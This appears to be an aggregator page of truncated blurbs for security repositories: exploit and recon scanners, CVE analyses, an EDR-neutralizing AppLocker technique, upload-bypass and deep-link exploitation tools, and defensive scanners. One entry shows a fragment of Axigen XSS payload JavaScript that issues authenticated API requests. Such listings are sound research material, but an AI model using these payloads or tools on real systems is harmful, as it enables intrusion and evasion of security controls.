sif

安装 · 用法 · 模块 · 文档 · 贡献 快速、并发的侦察到利用，全在一个二进制文件中。每个扫描器共享一个连接池化的 HTTP 客户端。 sif 是什么？ sif 是一个侦察与利用扫描器，在一个二进制文件中完成整个链路：子域名枚举、端口扫描、爬虫、nuclei、框架/CVE 检测、JS 密钥提取、Web 漏洞探测（CORS/XSS/重定向）、云与接管检查。25 种以上扫描类型，一条命令完成。 root@kitploit: sif -u https://example.com -dnslist -ports -crawl -js -framework -nuclei nuclei 和...

pmd

PMD - 源代码分析器 PMD 是一个可扩展的多语言静态代码分析器。它能发现常见的编程缺陷，例如未使用的变量、空的 catch 块、不必要的对象创建等。它主要专注于 Java 和 Apex ，但 支持其他 16 种语言 。它内置了 400 多条规则 。可以通过自定义规则进行扩展。它使用 JavaCC 和 Antlr 解析源文件为抽象语法树（AST），并针对这些 AST 运行规则以发现违规。规则可以用 Java 或 XPath 查询编写。 目前，PMD 支持 Java、JavaScript、Salesforce.com Apex 和...

CVE-2024-8381

CVE-2024-8381 一个 SpiderMonkey 解释器类型混淆漏洞。 本仓库包含 Markdown 和幻灯片形式的分析，包括根本原因、PoC（概念验证）和漏洞利用。 遗憾的是，由于该漏洞的性质，漏洞利用仅在禁用 ASLR 时适用 。 幻灯片：Slides.pdf 分析文档：Analysis.md 演示 复现信息 操作系统：Ubuntu 24.04 GLIBC：Ubuntu GLIBC 2.39-0ubuntu8.3 Clang：version 18.1.7 taskcluster-EnF59hKVRyOsVdbwyVaiug，通过 ./mach bootstrap 安装 Gi...

securitylab

GitHub Security Lab 这是 GitHub Security Lab 的主要 Git 仓库。 我们将其用于以下主要目的： 在我们的 docs 中与社区分享关于安全研究和漏洞披露的最佳实践。 我们使用 此仓库的 issues 来跟踪 CodeQL 赏金请求。 我们用它来发布一些概念验证漏洞利用（在漏洞修复后）。这些 PoC 可以在 SecurityExploits 子目录中找到。 CodeQL 查询示例，可以在 CodeQLQueries 子目录中找到。 CodeQL 资源 这部分是你们的！ 你想与社区分享一个很酷的 CodeQL...

CVE-2021-36747

CVE-2021-36747 Blackboard Learn 9.1 及之前版本允许经过身份验证的用户通过“反馈给学习者”表单进行 XSS 攻击。 发现时间：2018年5月11日 Blackboard 安全团队已收到此问题的通知。他们于2018年5月14日确认了该漏洞。 描述： Blackboard 工具（常用于K-12和高等教育）允许教师和评分者对提交的作业提供反馈。该反馈是纯文本，会被转换为HTML。这可能允许恶意行为者插入JavaScript，当学习者查看反馈时，会在其Web浏览器中执行。 影响： 任意脚本可能在用户的Web浏览器上执行（CWE-79）。 受影响版本：...

EDR-GhostLocker

GhostLocker：基于 AppLocker 的 EDR 中和工具 介绍 在我关于 Fairy-Law 的文章中，我使用内核缓解措施来禁用端点检测与响应 EDR 解决方案，diversenok 指出 IFEO 排除项（映像文件执行选项）对第三方应用程序过于侵入。这引出了一个更好的方法：利用管理员通过 AppLocker 已经拥有的内在权力。 该概念受 diversenok 启发，他指出管理员可以合法地控制其系统上的任何软件。基于这一见解，我开发了一种使用 AppLocker 作为原生 Windows 控制机制的技术。这项研究探索了 AppLocker 用于 EDR 控制的技术实现...

retire.js

Retire.js 你所依赖的，也必须退役 存在一个庞大的 JavaScript 库生态系统，可用于 Web 和 Node.js 应用程序。虽然这些库显著加速了开发，但它们也需要持续维护，以确保安全漏洞得到及时处理。2013 年，“使用含有已知漏洞的组件”被列入 OWASP Top 10 关键安全风险列表，凸显了过时或不安全的依赖项可能对 Web 应用程序构成的严重威胁。Retire.js 的创建就是为了帮助开发者识别具有已知漏洞的 JavaScript 库版本，尤其是那些不在包清单中、而只是下载并放入源码控制的库。 Retire.js 可以通过多种方式使用： 1. 作为命令行扫描器 ...

CVE-2023-23138

ruby-rail-properties CVE-2023-23138 这是 Ruby on Rails 属性错误配置的简要说明，有时开发者忘记禁用此端点 /rails/info/properties 如果该端点在主机上启用，则意味着攻击者可以看到部分或全部以下信息： 应用程序根目录 环境模式 数据库适配器 数据库 schema 版本 Ruby 版本 RubyGems 版本 Rack 版本 Rails 版本 JavaScript 运行时 Active Record 版本 Action Pack 版本 Action Mailer 版本 Active Support 版本 中间件列表 大规模...

Detect-It-Easy

Detect It Easy DiE 是一款强大的文件类型识别工具，深受全球恶意软件分析师 、网络安全专家 和逆向工程师 的青睐。同时支持基于签名 和启发式分析 ，DiE 能够在广泛的平台上实现高效的文件检测，包括 Windows、Linux 和 MacOS 。其灵活且基于脚本的检测架构使其成为该领域最通用的工具之一，并附有全面的支持操作系统镜像列表。 🚀 快速开始 💎 下载发布版/测试版 🧪 DiE API 库（面向开发者） 📋 更新日志 💬 参与翻译 💡 为什么选择 Detect It Easy？ Detect It Easy 的灵活签名系统 和脚本能力 使其成为恶意软件分析 和数字...

GhostESP

La plataforma de seguridad inalámbrica nativa de ESP-IDF para ESP32. Evaluación profunda de Wi-Fi y BLE, captura y exportación de nivel de investigación, y un ecosistema real de aplicaciones. Construida directamente sobre el ESP-IDF de Espressif en lugar de a través del núcleo Arduino, por lo que...

waf-checker

一款强大的Web应用程序，用于测试您的Web应用防火墙（WAF）在抵御常见攻击向量方面的性能。 → waf-checker.com ← 功能特性 安全测试 内置19+攻击类别 ：SQL注入、XSS、路径遍历、命令注入、SSRF、NoSQL注入、LFI、LDAP注入、XXE、SSTI、CRLF等 9个高级绕过类别 ：包含编码变体、协议走私和特定框架的payload 344+个payload ：从PAPAMICA/waf-payloads动态加载 误报测试 ：验证合法流量是否被错误拦截 HTTP方法测试 ：覆盖GET、POST、PUT和DELETE WAF检测与绕过 自动WAF检测...

magento2-cosmic-sting-patch

Magento 2 CVE-2024-34102（又名Cosmic Sting）补丁 一个替代解决方案（作为Magento 2扩展），用于修复XXE漏洞CVE-2024-34102（又名Cosmic Sting）。如果您无法升级Magento或无法应用官方补丁，请尝试这个。 如果您不修复此漏洞，攻击者可能实现远程代码执行（RCE）。我们已观察到真实世界的攻击。 CVE-2024-34102 受影响Magento版本（从2.3开始） 2.3.0 2.4.4-p8 2.4.5 2.4.5-p7 2.4.6 2.4.6-p5 2.4.7 背景 CVE-2024-34102（又名Cosmic...

Veritensor

🛡️ Veritensor：AI 数据与制品安全 Veritensor 是 AI 制品的防病毒软件，也是 RAG 管道的终极防火墙。它通过扫描传统 SAST 工具遗漏的制品来保护整个 AI 供应链：模型、数据集、RAG 文档和笔记本。 Veritensor 实现了安全左移。Veritensor 不是在提示注入攻击您的 LLM 时才做出响应，而是在恶意文档、投毒数据集和受损依赖 进入 您的向量数据库或执行环境 之前 就将其拦截并净化。 与标准 SAST 工具（专注于代码）不同，Veritensor 能够理解机器学习中使用的二进制和序列化格式： 1. 模型： 对...

CVE-2026-80731 net: remove CAP_SYS_RAWIO zero-padding in dev_validate_header

CVE-2026-80731 affects the Linux kernel network subsystem, specifically dev_validate_header(). The root cause is a TOCTOU (time-of-check-to-time-of-use) race : the skb headroom is allocated from an earlier read of dev->hard_header_len, but if the device is reconfigured to increase hard_header_...

CVE-2026-80731 net: remove CAP_SYS_RAWIO zero-padding in dev_validate_header

In the Linux kernel, the following vulnerability has been resolved: net: remove CAPSYSRAWIO zero-padding in devvalidateheader devvalidateheader reads dev-hardheaderlen directly when zero-padding short link layer headers for CAPSYSRAWIO holders: if capableCAPSYSRAWIO memsetllheader + len, 0,...

awesome-malware-analysis

恶意软件分析大合集 一份精选的恶意软件分析工具和资源列表。灵感来源于 awesome-python 和 awesome-php。 恶意软件收集 匿名化工具 蜜罐 恶意软件语料库 开源威胁情报 工具 其他资源 检测与分类 在线扫描器和沙箱 域名分析 浏览器恶意软件 文档与Shellcode 文件雕刻 反混淆 调试与逆向工程 网络 内存取证 Windows 痕迹 存储与工作流 杂项 资源 书籍 其他 相关 Awesome 列表 贡献 致谢 查看中文翻译：恶意软件分析大合集.md。 恶意软件收集 匿名化工具 用于分析师的网络流量匿名化工具。 Anonymouse.org -...

Aegis

AEGIS Independent, OS-level observability for AI coding agents Watches what AI agents actually do on your machine — processes, files, network — from outside the agents, no hooks required. AEGIS is an independent, OS-level observer for AI agents. It watches agent processes, file access, and networ...

CVE-2023-08-21-exploit

Exploit Title: Axigen if xhr1.readyState === XMLHttpRequest.DONE hcookie = new URLxhr1.responseURL.search.split"="1; xhr2.open'PATCH', /api/v1/conversations/MQ/?h=$hcookie, true; xhr2.setRequestHeader'Content-Type', 'application/json'; xhr2.onreadyst...

deep-C

Deep-C Deep-C 是一个 Android 深度链接利用框架 ，能够自动反编译 APK、识别暴露且不安全的深度链接入口点，利用 静态分析和可选的 AI 验证 验证可利用性，并生成可执行的 adb 概念验证 PoC 。 Deep-C 专为 移动应用渗透测试 、红队评估 和 Android 安全研究 设计，重点关注 实际可利用性 ，而非嘈杂的发现结果。 WebdeepC — 网页版本 CLI ✨ 功能特性 📦 APK 分析 使用 apktool 自动反编译 APK 使用 dex2jar 处理字节码 使用 jadx 恢复 Java 源码 🔍 深度链接发现 自定义 scheme 深度链接...

Upload_Bypass

UploadBypass v3 关于 Upload Bypass 是一个简单的工具，旨在帮助渗透测试人员和漏洞猎人测试文件上传机制。它利用多种赏金漏洞技术来简化识别和利用漏洞的过程，确保对 Web 应用程序进行全面评估。 由 Sagiv 开发 🚀 更新 代码几乎完全重写，利用更好的文件解析功能，消除了大部分错误。 模块化代码！现在你可以贡献代码并添加自己的模块。 引入了三种模式：检测模式、利用模式和反恶意软件检查模式，选择你的武器！ 新增状态功能，你现在可以暂停代码并从上次中断的地方继续！ 新增 UI，便于查看。 提供 Docker 文件，便于部署。 提供多种测试文件用于内部测试。...